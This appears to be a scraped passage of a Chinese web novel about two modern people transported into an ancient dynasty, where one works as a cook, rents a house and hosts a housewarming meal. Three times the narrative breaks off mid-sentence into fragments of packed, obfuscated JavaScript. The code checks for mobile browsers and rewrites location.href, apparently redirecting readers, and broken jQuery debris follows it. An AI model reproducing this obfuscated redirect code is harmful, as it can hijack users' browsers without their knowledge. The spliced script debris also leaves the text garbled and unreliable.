“有这么玄乎吗？”周瑶理乍舌。听起来有些像现代的名人效应，但也不至于这么离谱吧。 对面二人一副你可别不信的神情，下一秒瞪大眼睛看向门口。周瑶理顺着他们的眼神侧身看过去。 还真是说曹操，曹操就到。 刚刚聊到的人这不就来了吗，看上去还是很无神的样子，估计病还没好。 林嘉行昨日就回了伦敦，倒了一天时差后精神状态才好一些。 想到回国见到的女生，还有断更的美食博主，一切古怪事件都在催促他再次打开影片。 他倒要看看其中还有什么名堂。 与之前不同，他落下的几集居然被锁了。先前也有过没及时看的情况，但从未出现今日这种现象。 林嘉行只好打开最新的一期。没有前情提要，这位周娘子居然已经当上厨子了，真是不得了。 但是这位一直用后脑勺挡在镜头前的林郎君，什么时候可以让开。 林嘉行打开弹幕键开始噼里啪啦打字，之前他就发现这片子还可以发弹幕，不过那会儿还不感兴趣。 “能不能…让姓林的闪开？”敲下最后一个字，空格发出。 下一秒挡着箭头的后脑勺居然真的让开了，林嘉行一脸茫然。 还挺有互动性？ 随即男子侧身露出的脸，更是让他哑然。 好像，跟自己长得一模一样。 没等他反应过来，屏幕弹出个弹窗：是否接受沉浸式体验？ 周瑶理眼瞧着林郎君走进，在她面前站定点头打招呼。一通操作弄得她满头雾水，想起对方家世显赫得罪不得，周瑶理也向他行礼问好。 林郎君在原地站着没动，不一会儿好像被人操控般侧过身，朝着离她们最近的桌子坐下。 身后两位推着她上去点菜，周瑶理实在没办法只好硬着头皮上前。 “林郎君可有想吃的东西？”说完她闭上眼抬手敲了下自己的脑袋，忘了这厮好像还不会说话。 正当她想转身去给他端壶水来，耳旁响起男声。 “都行。”许是太久没说话，声音稍显沙哑。 周瑶理转过身盯着他看，眨巴眼反应过来，“这时候郎君应是用过午食，不若就一道樱桃雪花羹和盏酸梅饮？” 对方点点头，周瑶理马不停蹄回后厨。 樱桃雪花羹说白了就是当代樱桃藕粉，李莽前两日刚教过她。 将去核的樱桃果肉煮至软烂，再把提前煮熟的藕粉倒入混合勾芡，捞出后撒上一些糖霜即可。 两道菜都不怎么难，一小会儿功夫就做好了。周瑶理端着餐盘掀开帘子时，林郎君还如同她方才离开前那般坐得板直。 “久等了。” “多谢。” 她收起托盘正好走，对方又挑起话头。 “这是店里一直就有的菜色？” 周瑶理收回踏出去的脚，乖巧点头。 怎么，这哥们儿没吃过？ 林郎君吃没吃过这东西她不清楚，但对方接下来的话如同平地一声雷，足以让她瞪目。 “你去过图书馆吗？” “郎君怎的知道我昨日…”话说到一半周瑶理及时刹住，瞪着眼睛静静看向他。 这会儿应该没有图书馆这一说吧，或者说还不叫这个名字。那便奇怪了，这小子怎么知道的？ 林嘉行看着眼前的弹窗，心下一横点了是。下一刻眼前开始变得模糊，不可控地闭上双眼。 再次睁开眼时，自己便坐在刚刚才看过的酒馆子里，身上穿着那位林郎君的衣服。 林嘉胸前剧烈起伏，实在太诡异了。 身下的凳子、手中的茶杯，都是有触感的。甚至是酒馆里的嘈杂声都在不住地往他耳朵里钻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892569|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就连那位只在屏幕里的周娘子的身影都清晰不少，像裸眼3D一样。 就在他还在警惕四周时，周娘子走上前问他想点些什么。一直都存在于屏幕里的人突然出现在眼前，林嘉行还有些不可置信，随口说了句都行。 不一会儿对方便端上来一碗甜品和酸梅饮，估计就是酸梅汤之类的。林嘉行有些怀疑，这些东西是不是古代的。试探性地问了一嘴，只见对方一脸看傻子的表情，林嘉行尴尬舔唇。 看来是古代的。 不过他还是不信邪，想着再试探一次。 果不其然，这位周娘子听到图书馆三个字就愣住了。 周瑶理抿嘴，她现在急需颗速效救心丸。谁能告诉她这又是怎么一回事儿？ 突然有个模糊的身影在她脑子里一闪而过，她知道先前在图书馆看到的男生为什么那么熟悉了，和眼前的林郎君简直一个模子刻出来的。 太荒诞了。 她缓缓坐下，有些不确定地说道，“中华人民共和国成立于？” “1949年。” 周瑶理瞬间弹射起来，双手搭在林嘉行肩上，“老乡！” 按理说多一个穿越者她应该感到惊讶才对，但周瑶理自己都是穿越的，见怪不怪。 她的动作太过突然，不仅对方被吓了一跳，在坐的其他客人也都偷偷往他们这个方向看。 掌柜的不知道他们先前聊过什么，只知自己一下楼就看见周厨娘双手劈在那位林郎君肩上，吓得他立马赶过来将周瑶理的手推开，再一脸歉意地看着林嘉行。 “不得无礼！”王掌柜转头瞪着眼看向周瑶理，再回过头去替她跟林嘉行道歉，“酒馆新来的厨娘不懂事，郎君莫生气。” “是厨子。”周瑶理拍拍东家的肩膀提醒道。 什么厨子不厨子的，王掌柜现在就想给林嘉行跪下，主要不满脸恼色地从云禾离开就行。 “周厨子并未冒犯我，掌柜的放心。”林嘉行边说边琢磨自己的用词，别太突兀就行。 “周娘子厨艺了得，往后定会多多来此捧场。”说完侧头看向周瑶理，“改日再续。” 目送林嘉行离开，掌柜的疑惑看向周瑶理，“你怎的认识这位贵人的？” 平日里也没见她离开过酒馆。 “掌柜的刚没听清吗，他说喜欢我做的东西。” 周瑶理趁东家还在回味，一溜烟小跑回后厨。 她总不能说林嘉行是自己的现代老乡吧，等等该把她当成疯子在胡言乱语了。 第二天是本月最后一次假休，周瑶理老早就在盼25号，一大早收拾好自己便出门去。 酒馆休息日不开门，一般都从后门出去。她不太懂这里的布局规划，不像李莽他们那样直接从后门那条巷子离开，保险起见会从后门绕到前街。 熟悉的街景才会让她有种安定感。周瑶理站在云禾的大门口那不知走哪边好。 古代的房产中介藏得也太深了，连个招牌都没有。 “你站在这干嘛？” 周瑶理闻声看去，林嘉行一脸疑惑的看着她。 看到来人她眼前一亮，随后又颓废下来。林嘉行也是现代人，估计也不知道这里的房屋中介在哪儿。 “我打算租套房子，可惜找不到中介。” 林嘉行爱莫能助，他还在梳理这位林郎君的人物信息，好在对方和他同名同姓。 “瑶娘怎的站在这呀？” 二人便头看去，只见沈秋瑜笑着看向她，余光瞄到她身侧的林嘉行时脸上神情顿住，随即点头问好。 “林郎君也在。” 8. 背靠大山好租房 “瑜娘认识他？” 周瑶理的眼神在他二人之间来回打转。 “林郎君刚来昌南道时，曾见过一面。”沈秋瑜收回视线，同她解释道。 林嘉行也有印象，昨晚他就将有关自己在这个朝代的过往经历都过了遍，记忆里确实有见过沈家人。 但不是什么重要的事情就没放心上，估计当时这位姑娘也在。 “瑶娘今日怎的有空在外头？” 三人像石像一般站在云禾酒馆门口，尴尬气氛浓得都快蔓延到街道上，沈秋瑜率先打破沉默。 “馆子逢五休，今儿正好二十五，我便想着去找找何处有屋子可以出赁。” 说罢周瑶理灵机一动，眼前之人不正好能给她提供点建议。沈家乃大户人家，定会有资源。 虽说林嘉行也是有钱人家，但他和自己一样都是穿越过来的，人生地不熟，还不如沈秋瑜。 “瑜娘可知咱这的赁屋中介铺面在哪儿？”这么些天她连个影儿都没见着。 沈秋瑜不懂她说的中介指什么，不过连蒙带猜下大概懂她指的是牙人。 “对的！瑜娘真聪明。”原来古代房产中介叫牙人，周瑶理看电视剧总管给大户人家提供下人的中介叫牙人，没想到她们的业务范围这么广。 沈秋瑜这会子也被问倒了。家中确实有铺面在出赁，但因着不归她管就没多注意。 这时她身边的丫鬟小声开口，“小姐，咱府中的铺面店子托的刘娘子出赁。” 沈秋瑜可能不认识什么刘娘子，但那婶子不可能不认识她。 丫鬟话音刚落，沈秋瑜看向一旁两眼放精光但又有些不好意思开口的周瑶理。 “正巧月末要清点铺面，不若瑶娘同我一起寻趟刘娘子。” 周瑶理嘴上说着这怎么好意思，下一秒已经跳上沈府马车，还怪贴心地朝她伸手，“瑜娘快上来。” 一套动作行云流水，沈秋瑜反应过来时已经搭上她的手上了马车。 “林郎君你同我们一块儿去吗？”周瑶理此时才想起来林嘉行还在呢，忙撩起帘子对着还杵在原地的林嘉行问一嘴。 “即是周姑娘邀约，自然是要去的。”说罢，林嘉行转身上了自家马车。 “…”周瑶理无语凝咽，怎么还装上了。 马车上，沈秋瑜想到刚刚周瑶理跟兔子一般蹦上蹦下的，不由得抬起手捂嘴轻笑出声。 周瑶理不知她在笑什么，疑惑歪头。 “瑶娘真是，”沈秋瑜找不到形容她的词，偏头眯着眼想了半天才把后半句话说出，“动若脱兔。” 周瑶理这才回想起自己刚刚的行为未免太急不可耐，此时也不好意思地挠挠头。 瞧见她的动作时，沈秋瑜方才发现她的发髻与当朝时兴的样式大有不同，要简便很多，好奇询问过后得知原是她不懂这些。 “你们那些发髻太难了，我学不会。”周瑶理伸手轻轻在沈秋瑜发髻处小心翼翼点了点，又快速收回。 左一个簪子右一个发钗的，她实在动手无能。再加上她每天要上后厨工作，没那么多时间打点头面。 “我倒觉着瑶娘的发髻样式要好看些。”没有繁重的配饰，一把黑发低挽在耳侧显得干净利落。 沈秋瑜话少恬静，周瑶理便显得活泼，拉着她从头面聊到书画。沈秋瑜竟也不觉烦闷，颇有乐在其中之意。 不一会儿的功夫马车便停了下来，帘外响起车夫的声音，“二娘子，到了。” “沈二小姐怎的不提前知会一声，我好将茶水甜糕备上。”刘婶见着沈秋瑜立马快步迎上，亲昵挽着她的胳膊往里走。 此时林家的马车也到了，林嘉行跳下马车就看见周瑶理早已站在门外等他，二人一同入内。 刘婶以为又有客人，回头一看居然是林府那位言安来的郎君，当下十分惊讶。 今儿她是走大运了？怎的一个二个的全来了。 “林郎君快快请进，是我招待不周。”刘娘子喜上眉梢，忙让人看茶。 “刘大娘子手中可有房屋出赁？”沈秋瑜刚坐下就打开天窗说亮话，半点儿不带迂回。 “瞧二小姐说的，就是没有我也给您变出一间来！”刘婶本想坐在她身侧，结果就见周瑶理已经坐在那儿了，退而求其次地再往后坐一位。 沈二娘子转头同周瑶理轻点下巴，让她放心大胆地提要求。 “不用太大间，但起码要有茅房和小厨房。”若是能离云禾酒馆近一些更好。 “云禾酒馆？是在食康坊那儿吧。”刘婶托着帕子慢慢说道。 离食康坊较近的也就只有青乌巷了，这姑娘运气好，她手上正好有两三间在准备出赁。 “我手中正好有几间屋子在那儿，小娘子可愿一同去瞧瞧？” 周瑶理朝沈秋瑜疯狂点头，见此一行人便动身打算前往。 刘娘子起身时余光瞄到坐在对面不发一语，独自优哉游哉地喝茶林家公子。 大腿一拍，把这位爷给忘了。 林嘉行瞧见她的目光，放下茶杯站起身来，将有些皱巴的袍子拍平整后向周瑶理站着的方向微扬下巴。 “我同她一起的。” 刘婶又将目光投向身侧笑眼眯眯看着她的周瑶理，一脸探究意味。 这姑娘不得了，竟请得动昌南道两位贵府出身的人物替她赁屋，怕是有大来头。 周瑶理哪知道她心里的小九九，只见对方滴溜着眼睛在她身上扫来扫去，只得掐着笑回应。 这里租房不会也要坑人吧！ “就是这了。” 刘婶带着几人来到青乌巷。巷子太窄马车行不进，几人只好下车徒步进入。 跟着她一路走进，第一间屋子比较靠近巷子头，周瑶理不太中意。青乌巷离食康坊较近，虽说地理上占优势，但同样会吵闹一些。 瞧她不太满意的样子，刘婶提议看下一间。 第二间则刚刚好，就在中间偏前一点的位置。 屋子也合周瑶理的心意。从正门进去打眼的位置便是卧房，左侧靠墙处则修了间不大不小的茅房。厨房在右侧的位置，但占地面积不大，还留了一小块地方。 周瑶理琢磨着这小块地儿可以放些琐碎的东西，或者放上几个大水缸也不错。 俗话说货比三家，她想着再看看别处。询问之下刘婶表示确是还有一间，但在巷尾。 “那还是算了。”巷尾乌漆麻黑的，还要走很长的路。 她当即决定就要现在这间，既然如此便摩拳擦掌开始讲价。 “可否便宜一些？”周瑶理挽住张婶的手腕，在她袖子上轻扯。 刘婶干牙子这行可有好长的年头，比她还会卖惨。 “我也想的，但这毕竟不是我的屋子，我说的怎能算得了数。”张婶抽出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892570|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕再一把握住她的手，眉头都皱在一块。 周瑶理见状只能使出杀手锏，反握住她的手，再泪眼汪汪地盯着她看，“刘婶子说的我都理解，那便算了。这房子我实在喜欢得紧，大不了每月饿上几顿。” 说罢还抬手擦拭眼角，“没什么大碍的，我也只是个弱女子罢了。” 林嘉行怕自己憋不住笑，抬脚往里出走，替她观察屋内可有破损之处，看看到时还需添什么家具。 沈秋瑜本不打算插手此事，但看见周瑶理这副样子都有些于心不忍。自己若是再不开口，得把孩子委屈死。 “刘大娘子，沈家同您也有好几年交情了，不如行个方便？” 沈家人都开口了，她还有什么法子拒绝。 “行吧行吧，看在沈娘子的份儿上那就赁费每月一贯钱。”说罢还轻点周瑶理的鼻头，“我可没那么狠的心让小娘子饿肚子。” 周瑶理一听瞬间瞪亮眼睛跟人道谢，随后又想起自己现在身无分文，商讨可否先签契子，等下月月初搬进来时再交赁费。 刘婶手一扬爽快应下，房租都给她减了，也不差这几天。 “阿行回来了。” 林嘉行带着小厮回到林府，正好撞见刚从侧廊走来的林家大爷。 “二堂叔。” 昌南林家世代为商，早几年才出了林业这么一个举人。因着是言安林府的旁支，倒也在昌南道过得风生水起。 林业对于这个从言安来的侄儿自是放在心上，唯恐他在府中住得不习惯。 “贤侄哑疾刚好，莫要多动嗓子。”提到此事林业不免感到奇怪。 据言安来的书信而言，林嘉行一直同林家老夫人住在言安，去年不知怎的突犯哑疾。城中能找的大夫都看过了，就是不见好。 今年老夫人想着不如让他来昌南道散散心，总归比窝在府中整日郁郁寡欢要好一些。 谁知前几日突地便好了，着实给林业吓了一大跳。 “多谢堂叔关心。”林嘉行翻遍整本人物信息册也没找到关于林业的信息，只能走一步算一步。 好在几天相处下来，他这位表二叔确实没啥坏心思，就是聒噪了些。 话头都打开了，林业琢磨着不如同贤侄打好关系，到时候还能为自己谋个职位。 “我看你近日总往云禾酒馆跑，想来是喜欢厨子手艺的。” 说罢往前再进一步，“我寻思要不将那厨子请回来，你也无需天天往那儿跑，怪麻烦的。” 林嘉行没直接拒绝，先谢过林业好意，“让您费心了。我在昌南道只住一段时日，不必如此麻烦。” “若到时候我走了，厨子再回云禾，东家怕是不会重新收她。” 回到房中时他身边的小厮还在嘟嘟囔囔，手下磨着墨，嘴上也没闲着。 文竹不明白自家郎君干嘛还想着回言安，那只有老夫人才盼着他家郎君好。昌南道多好啊，这才来小半年的功夫，郎君哑疾都好了不少。 林嘉行想得很清楚，他莫名其妙跑到这个朝代多半是因为周瑶理。或许那个文件夹里的根本不是什么电视剧，而是一款三无游戏。 游戏的结局便是他们能回去的关键。 然这场游戏的掌控权并不在他手上，就看周瑶理什么时候当上天下第一厨。 “无论如何，咱们总是要回去的。” 回言安去，也回现代。 9. 乔迁宴当然由我说了算 七月初一，周瑶理起了个大早准备搬家。 昨日她已经跟东家请好假，好给今天留出空来。刚走出门就听见有人喊她，转头一看是林府的马车，林嘉行正撩起帘子朝她挥手。 白天在现代的时候林嘉行就收到她的信息，说是今天搬家，让他晚上别来找她了，免得跑空。 他想着周瑶理在这也没啥亲朋好友，搬家得有人手帮忙才行，一大早的便来搭把手。不过现在看来，自己好像自作多情了。 她浑身上下就只有个扁扁的包裹。 “就这点东西？” 周瑶理闻言点头，系统给她的可不就只有这些吗。 这半个月来她只有十文傍身钱，上回给沈家做宴时沈老夫人又赏了五贯。 她一开始便没打算在酒馆后院长住，把赚到的钱全都存起来了，连件新衣裳都没买。 “轻装上阵嘛！”周瑶理爽朗笑开，先林嘉行一步跨上马车。 有人接当然好了，不用她自己苦哈哈地走过去。再说了，林嘉行此趟也不是完全没用处。 周瑶理本想先去找刘娘子把赁费还上，再去购置一些家具之类的，林嘉行驾着马车出现就像搬家公司从天而降一般，还是免费的。 她租的那间屋子就是个空壳，除了几张凳子和一张桌子之外，其余的啥都没有。 “麻烦文郎君了。” 手上有钱就是不一样，周瑶理每走进一家铺子定要买些东西。不多时林家的马车全塞满了她新购置的家当。 到了巷口才想起车子进不去，家当只能靠人工慢慢往里挪。好在林嘉行出门时把文竹也带上了，不然就他俩得来来回回跑好几趟。 “周娘子莫要同我客气。”文竹咧嘴同她傻笑，手上拎着大铁锅肩上还抗了床被子，脚踩风火轮似的，一溜烟儿就跑远了。 他现在可把眼前的姑娘当神仙供着，也不知这位周娘子使的哪种神仙妙计，几顿饭的功夫就把他家郎君的哑疾治好了。 比言安那群庸医强多了！ 周瑶理呆站在原地，手中还抱着新买的米面。林嘉行把最后一点东西卸下，抬眼就看见她盯着不远处的空地满脸探究模样。 “怎么了吗？”他将怀里的木盆往上掂，侧头问道。 “你要是在这开搬家公司我可以入股吗？”周瑶理咂嘴。 林嘉行的下属未免太能干了。 “今日多谢二位。”周瑶理将两碗甜汤放在二人面前。 她刚搬进来还没找水客买水，刚刚趁空去前街买了几碗甜汤回来，好好犒劳林嘉行他们。 文竹坐在对面喘着粗气两眼发懵，端起甜汤猛地吸溜一口才缓过劲儿。没想到周瑶理东西居然这么多，爬上爬下把他累够呛。 “门窗我都加固过，卧房的门内也给你加上锁了。”林嘉行四处检查完才走过来，提袍坐下。 在现代好歹小区还有安保人员，在这只能自己多提防点。 沈府门房匆匆往里跑，亭子里还在喂鱼的张娘子见了忙将人喊住，蹙眉呵斥道，“怎么毛毛躁躁的，撞着人可有苦头吃。” “回少夫人话，林府来了人，说是找咱家二小姐。”那门房急着去找沈秋瑜，被唤住后堪堪刹住脚步。 张娘子听罢鱼也不喂了，“当真是林家的？” “错不了的少夫人，”门房继续说道，“那姑娘点名了寻咱家二娘子。” 张娘子怕耽误事儿，忙让他快快去请沈秋瑜。 “林家人寻二小姐作甚？”丫鬟搀着沈秋瑜往正门走，满脑子不解。 沈秋瑜更是疑惑，她同林家人向来没什么交集，也只在年初那位林郎君来昌南道时同阿爹去拜访过一次。 不年不节的，怎的还寻上自己了。 主仆二人紧赶慢赶走到门前，刚跨过门槛就瞧见马车上下来一姑娘。 “瑶娘？”沈秋瑜一脸惊讶。 丫鬟悄悄观察一番，确是林府的马车，怎么来人是周厨娘。 “意不意外！”周瑶理上前拉住沈秋瑜的手，“我今儿搬家恰巧碰上林郎君，便拜托他捎上我。” 沈秋瑜听了胸口提着的心才得以放下，还好不是林府人找她。 寒暄过后周瑶理才提起来意，“本月五日酒馆假休，请你来我家吃乔迁宴。” “瑶娘放心，届时一定到。” 回到马车上，林嘉行瞧她没什么要对自己说，刚到嘴边的话硬生生憋住了。 过了一会儿见周瑶理还不开口，他随手拿过一旁的书翻来翻去，独自生闷气。 周瑶理早发现他的不对劲。 从自己上车开始，这小子眼神就飘来飘去的，还老偷看她。 “你是不是有话要说。”她直接了当开口，半点儿不藏着。 林嘉行就等她问，瞬间将书扔开，“你怎么不请我？” 这回轮到她不解，请他什么？ “乔迁宴。”林嘉行提醒道。 周瑶理反应过来，合着他以为自己没邀请他，顿时觉得好笑。 “你不是知道宴席在五号吗？” 刚刚让他捎上自己的时候周瑶理就说了，五号要办乔迁宴。 “都是自家人，还要我特意给你发请帖啊。”大家都是穿越来的老乡，在雍都朝就是自己人！ 周瑶理本意是调侃，没想到话音刚落，对面的人那么不经逗。 林嘉行尴尬舔唇，快速转头看向窗外，耳尖像浇了热汤般慢慢升温，最后红成一片。 这姑娘说话也太没轻没重，万一陪她一起来的是个自恋男怎么办。 还好遇到的是他，林嘉行心道。 现代下午五点。 周瑶理这几天都在琢磨到时候做哪些菜比较好，今天才正式确定下来，将拟好的菜单截图发给林嘉行。 林嘉行此时还在办公室，旁边的手机屏幕亮了又亮，打开一看是周瑶理发来的微信。 -看看五号的菜单，不错吧。 菜色蛮多，但中间还混进两个现代菜。林嘉行笑她夹带私货，刚放下手机周瑶理的信息就来了。 -哼哼，给古人来点现代特色。 五号那天周瑶理一早收拾妥当，上集市拎了好大一块猪肉回来。昌南道人向来喜欢琢磨吃的，对猪肉接受度也高。 但猪肉总归不是所有人都接受得了，以至于价格也不高。15文一斤的猪肉她直接跟屠户定了两斤。周瑶理本想再多定一些，转念想到这里没有冰箱，放久了估计会臭。 接着又去买了些鸡翅还有河虾。昌南道河鲜最多，根本不需要她担心买不到虾之类的。 大包小包回到家便开始着手准备。 周瑶理把宴席分成前菜、主菜和点心三部分。前菜可以等人到了再做，主菜的食材现在就得开始腌制。 平时在酒馆里她不敢造次，生怕自己搞出个新玩意儿来会引起骚乱，每天都老老实实的，云禾酒馆的菜单有什么她就炒什么。 现在在自家办宴席，准备的菜色肯定是她喜欢的。 打头的便是炸酥肉。周瑶理来雍都之后就没再吃过了，馋得要命。为此她特地买了一块五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892571|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花肉，瘦中带点肥，炸完之后不仅不腻，还多添一丝油香。 葱姜切条加水抓泡放在一旁，再起锅干煸花椒粒。 周瑶理搬出她斥巨资买的镇宅宝器，石臼！搬家那天文竹差点把这玩意儿摔了，给她心疼坏了。 煸过的花椒粒香味一阵阵往外冒，碾压成碎时更是浓郁，最后将花椒籽挑去，剩下的便是简易花椒碎了。 把花椒碎、盐，连同刚刚备好的葱姜水倒入五花肉条中，没有料酒便用黄酒代替，再抓均匀。本来还应该再加一味胡椒碎，可惜古代胡椒是舶来品，价格实在昂贵。 接着便是金沙鸡翅。 广式金沙鸡翅的独特之处，便是将洗净的鸡翅放进淡盐水中浸泡两小时。将鸡翅放在一旁，周瑶理绕到厨房旁边短梁下，从坛子里取来几个咸鸭蛋。 先前看房时她就打算好怎么利用这个位置，搬家那天顺路让林嘉行帮她带回一些木柴，两人合力在那儿搭上一个迷你棚，正好可以遮蔽阳光，在底下存放东西。 烧开水后放上隔帘将咸蛋黄蒸至一刻钟碾压成蓉。 “还差谁呢…”做完这些，周瑶理拿过一旁抄录好的菜单核对，只剩一个甜点了。 红豆冰圆子并不难，麻烦就在没有冰箱。 上有政策下有对策，既然如此那就早点准备好。她打算将圆子和红豆汤都提前准备好，再坐入凉水中。 静坐一个下午的时间，到时候吃起来应该会凉快许多。 周瑶理刚把糯米粉投入水中，门外便响起叩门声。 “谁啊！”总不能是瑜娘吧，她记得当时有说过下午五点多开宴，还特意学了古代时辰表，生怕自己说错。 “是我。”林嘉行声音响起。 周瑶理忙跑上前去开门，奈何手上沾了面粉，捣鼓半天才打开。 林嘉行揣着个包装精致的小盒子走进来，身后的文竹也拿着礼物跟着跨进门。 “祝周娘子乔迁新喜。”文竹笑得有些局促，双手捧着盒子递给她。 周瑶理净手过后才接过，打开一看居然是根发带。 “我瞧着您不怎么梳发髻，想来是不喜欢的。”文竹背着手腼腆一笑，“便给周娘子选了根发带。” 早前他家郎君就说了，周瑶理也宴请了他，让他自个儿准备礼物。昨日他特地跑玲珑坊选了这根，只一眼就觉着很衬她。 “多谢小文，费心了。”周瑶理取出发带随手挽上，确实方便许多。 林嘉行站在一旁静静看着，不设防就和她视线撞上。 周瑶理绑完发带后在水面上照了照，抬起头就和林嘉行对上眼神。目光下移，他手中揣着的盒子尤为明显。 “你呢，给我送啥啦？”说罢往前踏步在他面前站定，抬起脸一脸笑意地看着他。 林嘉行握着盒子的手紧了又紧，随后才抬手抵唇清嗓。 “我不大会选，不过看起来应该是你需要的。” 周瑶理接过盒子挑眉看他，还挺会卖关子的。 她打开盒子看了眼，又立马盖住。转头就看见林嘉行背着手，眉眼带笑，好一个气定神闲。 “喜欢吗？” 周瑶理尽量克制住表情，沉稳走上前环手虚抱住他。 猝不及防的拥抱如同平地一声雷，炸得林嘉行呆楞如鹅。 院中两人如何神情已经被周瑶理抛之脑后，只揣着盒子回卧房好好藏起来。 周瑶理捡起盒中的物件用牙齿一咬，真的！ 老天奶，谁家送礼送金条啊！也是让她撞上财神爷了。 10. 山人自有妙计，懒人自带创造力 沈秋瑜比约定的时间还要早到，她到的时候周瑶理还在炸酥肉。文竹看她和林嘉行正在忙活中，屁颠儿地跑去开门。 “沈二小姐安。” 门一开就看见文竹，沈秋瑜还有些诧异，以为自己走错地了。 屋子小，从灶台的位置就能将院子连着门口的位置一览无余。周瑶理瞧见她后十分惊喜，想着出去迎她，奈何腾不出身。 沈秋瑜是自己独自来的，并未带丫鬟，怕给她添负担。 “瑜娘来得可早。”周瑶理边翻动着锅中的酥肉，边和她聊天。 一旁的林嘉行还在给剩下的酥肉裹粉，瞧见来人也只是淡淡点头示意，随即又埋头干活。 沈秋瑜以为自己眼花了，他居然也懂灶台事。见此不由得燃起不服气，她好歹也是沈家二小姐，怎可输给他。 “我想你一人在家估计有得忙，便早些来搭把手。”沈秋瑜说着开始挽袖子。 周瑶理瞧了忙让她去一旁坐着，自己忙得过来。倒不是碍着她贵府小姐的身份，只是油锅滚烫热油飞溅，怕伤到她。 “那我就在边上陪你，若是用得到我的地方只管提就是。” 逼仄的厨房瞬间挤进三个人，更显得热闹。 第一批酥肉炸好捞出，周瑶理盛出放在竹帘上沥油，让瑜娘帮她拿到一旁候着，接着便是炸第二锅。 “这外层裹的是何物？”沈秋瑜看着眼前东西着实好奇，还从未见过如此做法。 “粉浆。”周瑶理将一块块裹好粉的肉条投入锅中，瞬间燃起油花，咕噜咕噜冒泡。 外面那层面浆大有来头。系统对她还不错，居然还给这个朝代安排了红薯土豆一类的东西，市面上也有红薯淀粉可买。 周瑶理往红薯淀粉里掺了点儿白面粉，又打了个蛋黄进去。搅拌均匀后将腌制好的肉条丢进去就这么一拌，根根肉条都裹满面浆，再趁油热的功夫分条放入，等炸至定型再翻面。 将柴火夹出把火候调小，再等一两分钟即可捞出。每根都是金黄酥脆，腌制充分的酥肉在炸的过程就已经开始散味，满屋飘香。 “瑜娘，你把刚刚那篓子肉拿过来。”周瑶理将锅中第二批酥肉捞起，等锅中复热，把第一批酥肉重新投入复炸。 不一会儿的功夫就见酥肉全都上色完成，捞出时她夹起一块递到沈秋瑜嘴边。 “尝尝？小心烫。” 沈秋瑜小心翼翼咬过，瞬间瞪亮眼睛直点头，“好吃！” 外层的面衣炸得恰到时候，入嘴便是酥脆口感。再咬上两口，里层的肉块在嘴中爆开，满嘴鲜甜肉汁，还夹杂着一丝爽辣。 实在新奇，昌南道从未有人将豚肉用这种方法烹制。 “嘿嘿好吃吧，这个在我们那儿叫炸酥肉。”周瑶理瞧她一脸不可思议的样子，挑眉说道。 炸酥肉？果然如此名，入口即是酥脆。不过让她震惊的还不止如此，先前炸酥肉的油被捞起，只留下浅浅一层。 只见周瑶理又接过林嘉行递来的一碗鸡翅，往上面薄薄撒上一层粉后放入锅中，等鸡翅两面变得焦脆后方才盛起。 沈秋瑜以为就此完事，就见她拿过碗不知道何物，呈黄色蓉状。下一秒碗中之物被倒入锅中，来回推动中开始冒起绵密泡泡。 先前的鸡翅倒入翻拌，三两下的功夫全部裹上金黄色外壳。 “金沙鸡翅，完成！” 沈秋瑜端过盘子走出，文竹早已在厨房外等候多时，立马上前接过。 今天人太多，周瑶理便把屋内的桌子抬出来打算在外边用饭。 蜜煎金橘在沈秋瑜来的前一会儿就做好了。 将锅洗尽开始准备最后一个菜，糖醋荷藕。 周瑶理记得上回沈家家宴时，沈秋瑜特别喜欢这道菜。好在不难做，拟菜单时便也加进去了。 不多时所有菜全都上齐。 “多谢各位相助，在下今日才得以有此卧处，感激不尽。”周瑶理举着茶杯以茶代酒发表感言，“话不多说，开宴！” 文竹刚刚瞧见周瑶理给沈二娘子单独开小灶的时候就馋得慌，这会儿更是拉不住，等主家动筷之后便伸筷直朝小酥肉而去。 入口便是满嘴酥脆，周娘子果然没骗他。近些年来，当地人对豚肉虽不似从前那般厌恶，但很少有人懂得如何烹制，大多夹杂着腥味。 可是眼前这盘酥肉却没有料想中的腥味，甚至口□□汁只留油脂香。一旁的金沙鸡翅也非同一般，肉汁焦甜，外层的金脆又带着浓郁的咸香，直叫人停不下筷。 “瑶娘在酒馆当个厨子屈才了。”沈秋瑜还有些意犹未尽，盯着眼前的光盘感慨道。 “沈二小姐说得是呢！”文竹啃完最后一根鸡翅，点头附议。 “郎君同二位娘子一同休息去，碗交给我洗便是。”饭毕，文竹抢先揽过洗碗活。 周瑶理见状也不跟他客气，带着沈秋瑜在院子里四处逛逛，跟她介绍自己又添了哪些新家当。 这时沈二娘子才发现屋子确实大变样，她还记得先前陪她赁房时，整个屋子看起来朴素得很，现下倒是烟火气满满。 